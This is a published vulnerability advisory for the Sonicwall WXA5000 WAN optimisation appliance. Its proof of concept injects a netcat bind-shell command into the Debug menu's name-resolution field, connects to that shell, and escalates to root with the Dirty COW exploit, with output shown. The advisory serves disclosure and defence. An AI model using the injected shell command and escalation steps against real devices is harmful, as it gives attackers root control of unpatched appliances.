KL-001-2017-019 : Sonicwall WXA5000 Console Jail Escape and Privilege Escalation Title: Sonicwall WXA5000 Console Jail Escape and Privilege Escalation Advisory ID: KL-001-2017-019 Publication Date: 2017.10.24 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-019.txt 1. Vulnerability Details Affected Vendor: Sonicwall Affected Product: WXA5000 WAN Optimization Appliance Affected Version: 1.3.2-10-30 Platform: Embedded Linux CWE Classification: CWE-78: Improper Neutralization of Special Elements used in an OS Command Impact: Root Access Attack vector: Console 2. Vulnerability Description The console menu for this appliance can be escaped into a regular sh shell by using encapsulated $() shell commands. Privileges can be escalated to root by using the dirtyc0w exploit. 3. Technical Description ????????????????SonicWALL WAN Optimization Configuration????????????????? ? Show Network Settings ? ? Renew DHCP lease ? ? Show Serial Number ? ? Show Firmware Version ? ? Factory Reset - Restore the device to factory installed state. ? ? Secure Factory Reset - Securely erase hard disk and do Factory Reset. ? ? Upgrade Firmware - Upgrade Firmware via USB stick. ? ? ------------------ ? ? Debug ? ? Help ? ? ------------------ ? ? Reboot ? ? Shutdown ? ????????????????????????????????????????????????????????????????????????? Selecting 'Debug' provides a basic diagnostic menu allowing the user to ping the gateway, show system load, or resolve a domain name. Use the following string during name resolution: $(nc -l -p 4444 -e /bin/sh 1>&2) Next, connect to the shell using netcat. $ nc -v 1.3.3.7 4444 Connection to 1.3.3.7 4444 port [tcp/krb524] succeeded! id;uname -a uid=1017(wxauser) gid=1017 groups=1017 Linux WXA5000-9A067AC 3.10.15 #1 SMP Thu Jan 12 07:31:33 PST 2017 x86_64 GNU/Linux This kernel version is vulnerable to the dirtycow exploit. /tmp/cowroot uname -a;id Linux WXA5000-9A067AC 3.10.15 #1 SMP Thu Jan 12 07:31:33 PST 2017 x86_64 GNU/Linux uid=0(root) gid=1017 groups=0(root),1017 4. Mitigation and Remediation Recommendation There is no known remediation for this vulnerability from the vendor. Administrators should heavily restrict access to any account of any privilege which can use the Debug functionality of the CLI. Network access to management interfaces should be properly segmented. 5. Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. 6. Disclosure Timeline 2017.07.21 - KoreLogic requests security contact and PGP key from Sonicwall using the vulnerability submission form at https://mysonicwall.com/report/ProdVul.aspx. 2017.07.24 - KoreLogic requests security contact and PGP key from Sonicwall using security@sonicwall.com email address. 2017.08.09 - KoreLogic submits vulnerability information to Sonicwall using https://mysonicwall.com/report/ProdVul.aspx. Vulnerability submission ID 10762. 2017.08.16 - 5 business days have elapsed since the vulnerability was reported. No response from Sonicwall. 2017.09.21 - 30 business days have elapsed since the vulnerability was reported. 2017.10.13 - 45 business days have elapsed since the vulnerability was reported to Sonicwall. 2017.10.19 - KoreLogic requests update from security@sonicwall.com. 2017.10.24 - KoreLogic public disclosure. 7. Proof of Concept See 3. Technical Description. The contents of this advisory are copyright(c) 2017 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt